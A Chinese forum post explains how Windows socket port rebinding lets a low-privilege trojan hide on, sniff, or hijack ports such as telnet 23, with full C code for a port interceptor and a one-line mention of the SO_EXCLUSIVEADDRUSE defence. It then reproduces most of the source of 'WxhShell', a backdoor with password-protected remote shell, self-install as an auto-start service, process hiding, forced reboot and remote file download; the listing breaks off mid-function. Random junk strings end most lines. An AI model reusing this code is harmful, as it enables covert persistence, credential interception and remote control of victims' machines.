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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q ^{XM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5kx-s6 `!  
.dO8I/lhV  
  saddr.sin_family = AF_INET; MfU0*nVF~  
]I[\Io1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H 2JKQm_  
[q!/YL3 %  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Gpf9uj%  
{~"fq.h!M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q`m9I  
n|N?[)^k  
  这意味着什么?意味着可以进行如下的攻击: o FS2*u  
M/J?$j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L:_GpZ_  
)jPIBzMys  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) : =f!>_r+  
i1 >oRT{Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .gclE~h.  
gski:C   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M3 &GO5<  
QF4)@ r{2x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9q]n &5  
k4-S:kVo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;W?mQUo:P8  
d^+0=_[PmK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Mpx98xcO  
Kn*LwWne  
  #include PSHzB! H=n  
  #include <f9a%`d  
  #include [C`LKA$t  
  #include    <]f{X<ef  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cw/E?0MWb  
  int main() qORL 7?{  
  { Lyq[gQjr  
  WORD wVersionRequested; vI20G89E  
  DWORD ret; ~$jRn(2  
  WSADATA wsaData; :SD#>eD0  
  BOOL val; =eyPo(B  
  SOCKADDR_IN saddr; mfx-Ja_a  
  SOCKADDR_IN scaddr; M)"'Q6ck=  
  int err; @gnLY  
  SOCKET s; u\q(v D.  
  SOCKET sc; O~#A )d6  
  int caddsize; ):]5WHYg  
  HANDLE mt; vyvb-oz;u  
  DWORD tid;   L]* 5cH  
  wVersionRequested = MAKEWORD( 2, 2 ); G$[Hm\V  
  err = WSAStartup( wVersionRequested, &wsaData ); gx.\&W b  
  if ( err != 0 ) { 8bdx$,$k  
  printf("error!WSAStartup failed!\n"); Ei4Iv#Oi`  
  return -1; (_3QZ  
  } ^6QzaC3  
  saddr.sin_family = AF_INET; `b KJ  
   ENy$sS6[D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jx#9  
yioX^`Fc(~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~5o2jTNy`p  
  saddr.sin_port = htons(23); F<4>g+Ag  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D]twid~OS  
  { pnTz.)'46  
  printf("error!socket failed!\n"); fXSuJ<G  
  return -1; u&Yd+');  
  } Z.b?Jzj  
  val = TRUE; W1JvLU5L*r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c"diNbm[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ! NJGW  
  { "^oU&]KQJ  
  printf("error!setsockopt failed!\n"); cI'su?  
  return -1; uhU'm@JZ  
  } /5X_gjOL,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9\VV++}s>o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >eWORf>7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d*dPi^JjC  
7l4}b^>/`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QIfP%,LT  
  { 88VI _<  
  ret=GetLastError(); uT>"(wnJ|  
  printf("error!bind failed!\n"); jN!VrRA  
  return -1; j dkqJ4&i  
  } 6a704l%#hb  
  listen(s,2); E BSjU8  
  while(1) 8~sC$sIlE  
  { 2O}X-/H  
  caddsize = sizeof(scaddr); 0j2mTF(C  
  //接受连接请求 [QIQpBL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m^ /s}WEqp  
  if(sc!=INVALID_SOCKET) JfRLqA/  
  { ?DE{4Ti/[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); akG|ic-~  
  if(mt==NULL) n}C0gt-  
  {  i (`Q{l  
  printf("Thread Creat Failed!\n"); IEe;ygL#  
  break; 'vV+Wu#[  
  } JkQ\r$ Y.  
  } n5y0$S/ D  
  CloseHandle(mt); y+ 4#Iy  
  } K j~!E H"  
  closesocket(s); }l&y8,[:  
  WSACleanup(); 6,!$S2(zT  
  return 0; !{CaW4  
  }   )<$<9!L4x  
  DWORD WINAPI ClientThread(LPVOID lpParam) <Ira~N  
  { Z&n#*rQ7[  
  SOCKET ss = (SOCKET)lpParam; |Y v,zEY)  
  SOCKET sc; l=L(pS3 ~  
  unsigned char buf[4096]; 2Vs+8/  
  SOCKADDR_IN saddr; o1k+dJUd  
  long num; Z4g<Ys*  
  DWORD val; xwj{4fzpk{  
  DWORD ret;  `)>}b 3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $h[Q }uW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w,j;XPp  
  saddr.sin_family = AF_INET; ,hZ?]P&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y(O~=S+<  
  saddr.sin_port = htons(23); wScr:o+K>L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rH'|$~a  
  { B>[myx  
  printf("error!socket failed!\n"); ^\r{72!y  
  return -1; tF\_AvL_8  
  } ANfy+@  
  val = 100; iu$Y0.H@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nd[Ja_h  
  { l5D4 ?`|  
  ret = GetLastError(); Wiyiq )^  
  return -1; `/9I` <y  
  } Cq[Hh#q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pb G5y7  
  { j=c< Lo`  
  ret = GetLastError(); LP/SblE  
  return -1; a*t>Ks'C  
  } ZiRCiQ/?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k"6v& O  
  { ?J-D6;  
  printf("error!socket connect failed!\n"); \YHl(  
  closesocket(sc); +|H,N7a<  
  closesocket(ss); Gzwb<e y  
  return -1; .*Bd'\:F/q  
  } {Es1bO  
  while(1) >U(E \`9D  
  { {;O j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9m<%+ S5&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U;*O7K=P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WXG0Z  
  num = recv(ss,buf,4096,0); s#(7D3Pr#  
  if(num>0) PS0/O k  
  send(sc,buf,num,0); cH5RpeP  
  else if(num==0) 221}xhn5  
  break; Htfq?\ FD  
  num = recv(sc,buf,4096,0); P76gJ@#m  
  if(num>0) <sX_hIA^Fx  
  send(ss,buf,num,0); yZ]?-7  
  else if(num==0) " t?44[  
  break; Hz=s)6$ey  
  } *?VB/yO=0  
  closesocket(ss); ~6+Um_A_L  
  closesocket(sc); QU(Lv(/O  
  return 0 ; b`ksTO`}x  
  } HZjuL.Tj  
`R!2N4|;  
t^}"8  
========================================================== y|NY,{:]  
W@i|=xS?  
下边附上一个代码,,WXhSHELL Wys$#pJ  
MZqHL4<|  
========================================================== ,XI=e=  
g4{0  
#include "stdafx.h" F~~9/#  
F%4N/e'L  
#include <stdio.h> %Aa_Bumf*:  
#include <string.h> )6eFYt%c  
#include <windows.h> eu?P6>urA  
#include <winsock2.h> 1#8~@CQ ::  
#include <winsvc.h> 0DN&HMI#  
#include <urlmon.h> AS0mM HJk  
q^7=/d8  
#pragma comment (lib, "Ws2_32.lib") 9$}> O]  
#pragma comment (lib, "urlmon.lib") y<#Hq1  
;F"Tu  
#define MAX_USER   100 // 最大客户端连接数 Ga V OMT  
#define BUF_SOCK   200 // sock buffer ~}SQLYy7Z  
#define KEY_BUFF   255 // 输入 buffer 2/Ye<.#  
T'9M  
#define REBOOT     0   // 重启 !1@o Z(  
#define SHUTDOWN   1   // 关机 r"p"UW9og  
o{ccO29H/  
#define DEF_PORT   5000 // 监听端口 :9(w~bB9$  
L(X}37  
#define REG_LEN     16   // 注册表键长度 lQ"t#b+  
#define SVC_LEN     80   // NT服务名长度 P ?96;  
7HL23Vr k  
// 从dll定义API O2fFh_\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *Wcq'S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aC<fzUD;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jpOcug`f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F=f9##Y?7M  
)i\foSbB`V  
// wxhshell配置信息 ldc`Y/:{  
struct WSCFG { (a~V<v"  
  int ws_port;         // 监听端口 W .Al\!Gi  
  char ws_passstr[REG_LEN]; // 口令 V8b^{}nxt  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1^[]#N-Bu  
  char ws_regname[REG_LEN]; // 注册表键名 =/\l=*  
  char ws_svcname[REG_LEN]; // 服务名 ;=@?( n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?%/*F<UVQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zy~*~;6tW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v+dT7* ^@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ha9 d z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  (C%qA<6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QkLcs6)R  
NH1ak(zHW  
}; y5Fgf3P@ju  
IVeA[qA0  
// default Wxhshell configuration .Np!Qp1*  
struct WSCFG wscfg={DEF_PORT, 4 XGEw9`3  
    "xuhuanlingzhe", Zc*#LsQh.`  
    1, ?+$EPaC2  
    "Wxhshell", Fl"LK:)  
    "Wxhshell", n@S|^cH  
            "WxhShell Service", ^ ,[gO#hgz  
    "Wrsky Windows CmdShell Service", };*&;GFe  
    "Please Input Your Password: ", A-eCc#I  
  1, =,&{ &m)  
  "http://www.wrsky.com/wxhshell.exe", e'=#G$S?g  
  "Wxhshell.exe" `qZ@eGZ z  
    }; @v.?z2h  
Bu{%mm(  
// 消息定义模块 3ZvQUH/{W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v{8r46Y~Z)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /)rv Ndn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #jg3Ku;Y  
char *msg_ws_ext="\n\rExit."; SL_JA  
char *msg_ws_end="\n\rQuit."; Ppx4#j  
char *msg_ws_boot="\n\rReboot..."; Wck WX]};S  
char *msg_ws_poff="\n\rShutdown..."; 0,iG9D 7  
char *msg_ws_down="\n\rSave to "; ? :F Jc[J  
Kn2W{*wD  
char *msg_ws_err="\n\rErr!"; P%<MQg|k`  
char *msg_ws_ok="\n\rOK!"; Ac/LNqIs  
1z@ ncqe  
char ExeFile[MAX_PATH]; 5rJ7CfVq  
int nUser = 0; _$oE'lat  
HANDLE handles[MAX_USER]; ~Q=^YZgn8  
int OsIsNt; :K!L-*>A9  
(&/~q:a>   
SERVICE_STATUS       serviceStatus; j3>&Su>H4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8Z 0@-8vi  
)1O|+m k  
// 函数声明 8{Vt8>4  
int Install(void); CZ(fP86e  
int Uninstall(void); =CaSd|   
int DownloadFile(char *sURL, SOCKET wsh); B;Co`o2  
int Boot(int flag); AQc9@3T~Bi  
void HideProc(void); :r&4/sN}<  
int GetOsVer(void); V<d`.9*}  
int Wxhshell(SOCKET wsl); 'jKCAU5/0;  
void TalkWithClient(void *cs); |;YDRI  
int CmdShell(SOCKET sock); +V#dJ[,8;.  
int StartFromService(void); d2g7 ,axi  
int StartWxhshell(LPSTR lpCmdLine); '/X m%S  
gNh4c{Al9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  x![ut  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xB}B1H%  
_~!c%_  
// 数据结构和表定义 Qaiqx"x3  
SERVICE_TABLE_ENTRY DispatchTable[] = hr g'Z5n  
{ ;Udx|1o  
{wscfg.ws_svcname, NTServiceMain}, <In+V  
{NULL, NULL} kB-<17  
}; m\K1Ex  
a%wa3N=v  
// 自我安装 ''.\DC~K  
int Install(void) QVD^p;b  
{ z~;@Mo"*f  
  char svExeFile[MAX_PATH]; +@\=v}: F  
  HKEY key; K!gocNOf  
  strcpy(svExeFile,ExeFile); t5S!j2E  
KU_""T  
// 如果是win9x系统,修改注册表设为自启动 85+w\KuEY  
if(!OsIsNt) { ,6wGdaMR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vGp`P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a!;K+wL >  
  RegCloseKey(key); 1c$c e+n~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AHLXmQl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kq:vTz&<  
  RegCloseKey(key); '8|joj>G=  
  return 0; U2(mWQ[mO  
    } M+L0 X$}NZ  
  } "GAKi}y">v  
} -nB. .q  
else { gq+#=!(2  
:) T#.(mR  
// 如果是NT以上系统,安装为系统服务 wgZ6|)!0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /tqe:*  
if (schSCManager!=0) $XrX(l5  
{ 7nbaR~ZV  
  SC_HANDLE schService = CreateService  e:6mz\J  
  ( szy2"~hm  
  schSCManager, Kp/l2?J"  
  wscfg.ws_svcname, 'Y>@t6E4  
  wscfg.ws_svcdisp, ,^qHl+'  
  SERVICE_ALL_ACCESS, N\ zUQ J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SdJkno  
  SERVICE_AUTO_START, t},71Ry  
  SERVICE_ERROR_NORMAL, 8|rlP  
  svExeFile, 7*47mJyc  
  NULL, A*? Qm  
  NULL,  Kuh)3/7  
  NULL, @G=_nZxv  
  NULL, YU1z\pK  
  NULL f7 zGz  
  ); aOW$H:b  
  if (schService!=0) 5K$d4KT  
  { +kOXa^K  
  CloseServiceHandle(schService); )'`@rq!  
  CloseServiceHandle(schSCManager); FX/f0C3CK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7T=:dv  
  strcat(svExeFile,wscfg.ws_svcname); g|)yM^Vqr6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?;p45y~n%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V"|j Dnn5  
  RegCloseKey(key); v$R7"  
  return 0; mB*;>   
    } wmit>69S  
  } m?`$NJST  
  CloseServiceHandle(schSCManager); r7  *'s  
} =|q@ Q`DB  
} P".rm0@R  
D;X/7 p|>  
return 1; \xOv9(  
} aX35^K /  
Mog!pmc{  
// 自我卸载 Y!_e ,]GW  
int Uninstall(void) i7xBi:Si  
{ Bet?]4\_  
  HKEY key; /U"3LX  
5f#]dgBe  
if(!OsIsNt) { ngH_p>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S{qsq\X  
  RegDeleteValue(key,wscfg.ws_regname); r1|;V~ a$~  
  RegCloseKey(key); 6 kAXE\T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s!/Q>A  
  RegDeleteValue(key,wscfg.ws_regname); s C?-L  
  RegCloseKey(key); UjS,<>fm  
  return 0; /@K1"/fqH  
  } o,=dm@j  
} &y:SK)  
} 6>/g`%`N  
else { +rOd0?  
6ieP` bct  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'E#Bz"T  
if (schSCManager!=0) etH]-S  
{ (/Dr=D{ `  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IVSd,AR7yY  
  if (schService!=0) YW^sf,zQ  
  { x=VLRh%Gvl  
  if(DeleteService(schService)!=0) { R8fB 8 )  
  CloseServiceHandle(schService); LT) G"U~  
  CloseServiceHandle(schSCManager); 9K_p4 mq  
  return 0; X h"8uJD  
  } |ea}+N  
  CloseServiceHandle(schService); ~Z x_"  
  } P:v|JER   
  CloseServiceHandle(schSCManager); zgA/B{DaC;  
} bJ9K!6s??`  
} 33b 3v\N  
BW&)Zz  
return 1; NEX{vZkgw  
} 5KwT(R o  
%8T"h  
// 从指定url下载文件 !Ytr4DtM  
int DownloadFile(char *sURL, SOCKET wsh) +[$ Q C*  
{ nL&[R}@W  
  HRESULT hr; wm_o(Z}  
char seps[]= "/"; dzyp:\&9  
char *token; %PxJnMb?  
char *file; @wOX</_g  
char myURL[MAX_PATH]; CqbPUcK  
char myFILE[MAX_PATH]; OqA#4h4^  
OG}m+K&<  
strcpy(myURL,sURL); p*" H&xA@  
  token=strtok(myURL,seps); E=8$*YUW(g  
  while(token!=NULL) %P-z3 0FHp  
  { d@_|  
    file=token; 63y&MaqSJ  
  token=strtok(NULL,seps); p>GxSE)  
  } jsnk*>j  
RS[>7-9  
GetCurrentDirectory(MAX_PATH,myFILE); \v[?4 [  
strcat(myFILE, "\\"); YVB\9{H?  
strcat(myFILE, file); NU$?BiB?R  
  send(wsh,myFILE,strlen(myFILE),0); 8^6dK  
send(wsh,"...",3,0); ^K n{L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xdd;!HK,  
  if(hr==S_OK) XKepk? E  
return 0; P|4qbm4%O,  
else zQ~8(E]Rf  
return 1; uP veAK}h  
$oU40HA)W]  
} {9*k \d/;  
@`Foy  
// 系统电源模块 ]-G10p}Ph-  
int Boot(int flag) !L_\6;aP,x  
{ %(y0,?*  
  HANDLE hToken; bClMM  
  TOKEN_PRIVILEGES tkp; kA%"-$3  
CP!>V:w%9!  
  if(OsIsNt) { $d _%7xx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {P@OV1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); COk;z.Kn  
    tkp.PrivilegeCount = 1; XhEd9>#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;;g'C*_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j^'op|l  
if(flag==REBOOT) { /K<.$B8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UuvI?D  
  return 0; LU4k/  
} }hd:avze  
else { `8rInfV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s j{i  
  return 0; pv #uLo  
} }tRY,f  
  } S.X*)CBB  
  else { {(MC]]'?  
if(flag==REBOOT) { _.y0 QkwV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  ^q=D!g  
  return 0; _@Le MNv  
} {(,[  
else { k9pOY]_Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o:irwfArv  
  return 0; x O~t  
} 4#^?-6  
} \E3e vU  
!9knF t43  
return 1; O>j_xW]V  
} kLw07&H  
WfDpeXdO  
// win9x进程隐藏模块 {Ex*8sU%p%  
void HideProc(void) #- hYjE5  
{ $<(FZb=  
bijE]:<AE7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SsE8;IGH  
  if ( hKernel != NULL ) !K~:crUV|S  
  { bEJz>oyW"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DZI:zsf;5Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \Gk4J<  
    FreeLibrary(hKernel); QXcSDJ  
  } Gcs eq  
u d V. $N  
return; "A6T'nOP  
} ] _WB^  
N5%zbfKM  
// 获取操作系统版本 9j;L-  
int GetOsVer(void) "X }@VT=  
{ l" #}g%E  
  OSVERSIONINFO winfo; x!08FL)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F.0CJ7s  
  GetVersionEx(&winfo); 3 0fsVwE2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 23AMrDF=N  
  return 1; q{?ku!cL  
  else V{j>09u  
  return 0; i]@QxzCSF  
} e)WpqaI  
[8o!X)  
// 客户端句柄模块 t)*MLg<C  
int Wxhshell(SOCKET wsl) R\B-cU[,  
{ nf7l}^/UE  
  SOCKET wsh; eXqS9`zKr  
  struct sockaddr_in client; d }"Dp  
  DWORD myID; 'F- wC!  
8RfFP\AP  
  while(nUser<MAX_USER) 4t0B_o"  
{ Sf2pU!5n^  
  int nSize=sizeof(client); >(} I7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mrzrQ@sN  
  if(wsh==INVALID_SOCKET) return 1; 8Q%rBl.  
J4-64t nZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zdoJ+zRtK  
if(handles[nUser]==0) JIl<4 %A  
  closesocket(wsh); *hP9d;-Ar  
else %$)[qa3  
  nUser++; FM)Es&p&  
  } YB^[HE\#y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gdu8O!9)  
TfYXF`d  
  return 0; K9#=@}!3L  
} ]+SVQ|v0  
/=5YHq>  
// 关闭 socket I'_u4  
void CloseIt(SOCKET wsh) \UdHN=A&  
{ UUf-G0/P  
closesocket(wsh); nnV(MB4z1  
nUser--; kXmnLxhS/  
ExitThread(0); hf/6VlZ  
} OKo39 A\fu  
G/2| *H  
// 客户端请求句柄  i,{'}B  
void TalkWithClient(void *cs) _\9|acFT2O  
{ q\P"AlpC!  
LG0z|x(  
  SOCKET wsh=(SOCKET)cs; [84f[`!Ui  
  char pwd[SVC_LEN]; 1@j0kTJ~m  
  char cmd[KEY_BUFF]; c Bl F  
char chr[1]; o Q!56\R  
int i,j; *vL2n>HH  
8J P{`)  
  while (nUser < MAX_USER) { |hp_<F9.  
\BV$p2m5-  
if(wscfg.ws_passstr) { \B0,?_i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WW'8&:x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h@5mVTb}i  
  //ZeroMemory(pwd,KEY_BUFF); TsPx"+>7`  
      i=0; y&HfF~  
  while(i<SVC_LEN) { f__r " N  
CLb~6LD  
  // 设置超时 +izB(E8&{J  
  fd_set FdRead; x-Kq=LFy.  
  struct timeval TimeOut; [Ch)6p  
  FD_ZERO(&FdRead); [7Yfv Xp  
  FD_SET(wsh,&FdRead); ;^9Ao>(?y  
  TimeOut.tv_sec=8; p97}HT}  
  TimeOut.tv_usec=0; jm_b3!J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tFY;q##z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >IL[eiiPG  
D;pfogK @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gy Jx>i  
  pwd=chr[0]; 5Av bKT  
  if(chr[0]==0xd || chr[0]==0xa) { !$/1Q+  
  pwd=0; tSr.0'CE  
  break; )%4%Uo_Xm  
  } 6*] g)m  
  i++; -R^OYgF  
    } u~| D;e  
~nQv yM!$  
  // 如果是非法用户,关闭 socket R6^U9 fDG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dE<}X7J%  
} ionFPc].  
8n.sg({g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); As$:V<Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0w0\TWz*   
*o}LI6_u  
while(1) { EJM6TI"  
gWxpGW^eZ~  
  ZeroMemory(cmd,KEY_BUFF); MZyzc{c,  
,t`u3ykh  
      // 自动支持客户端 telnet标准   Y:GSjq  
  j=0; 7oPLO(0L  
  while(j<KEY_BUFF) { Y#>'.$ (Az  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C@{#OOa  
  cmd[j]=chr[0]; |i)7j G<  
  if(chr[0]==0xa || chr[0]==0xd) { LciSQ R!  
  cmd[j]=0; 3ErW3Ac Ou  
  break; 9] i$`y  
  } K.y2 $b/  
  j++; C+, JLK  
    } =J2\"6BnzA  
PGaB U3  
  // 下载文件 Pc+8CuN?  
  if(strstr(cmd,"http://")) { mVJW"*}8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1o&] =(  
  if(DownloadFile(cmd,wsh)) IFrq\H0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %\5 wHT+)  
  else 3#{{+5G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 83 O+`f  
  } {u3eel  
  else { lzJ[`i.  
"pP5;*^f  
    switch(cmd[0]) { V-#OiMWa~  
  AqPE.mf  
  // 帮助 T7vSp<i/  
  case '?': { YL(7l|^!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 85>WK+=  
    break; 9ANC,+0p  
  } aq'd C=y  
  // 安装 ikr|P&e#u  
  case 'i': { koi QJdK  
    if(Install())  b)7uz>I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j"FX ?|4  
    else pF)}<<C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(;1XqLM  
    break; z:RclDm  
    } +~gqP k  
  // 卸载 _R&}CP  
  case 'r': { !ke_?+ 8sY  
    if(Uninstall()) wzLR]<6G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aNZJs<3;'D  
    else  3kAmRU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?^F*M#%?  
    break; K k 5 vC{  
    } I)wjTTM5  
  // 显示 wxhshell 所在路径 5|&:l8=  
  case 'p': { s0,\[rM  
    char svExeFile[MAX_PATH]; *?;<buJb?  
    strcpy(svExeFile,"\n\r"); OYcf+p"<\  
      strcat(svExeFile,ExeFile); JfJUOaL  
        send(wsh,svExeFile,strlen(svExeFile),0); +-b:XeHSZ  
    break; ?y.q<F)  
    } h8IjTd]z{$  
  // 重启 "qL4D4  
  case 'b': { DU_38tz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hwr# NKz-  
    if(Boot(REBOOT)) kbqG)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d2b  L_  
    else { +UzFHiGy#  
    closesocket(wsh); ]SNA2?q  
    ExitThread(0); ]1A"l!yf  
    } JNQiCK,)}M  
    break; l `D>h2]  
    } czMu<@c [  
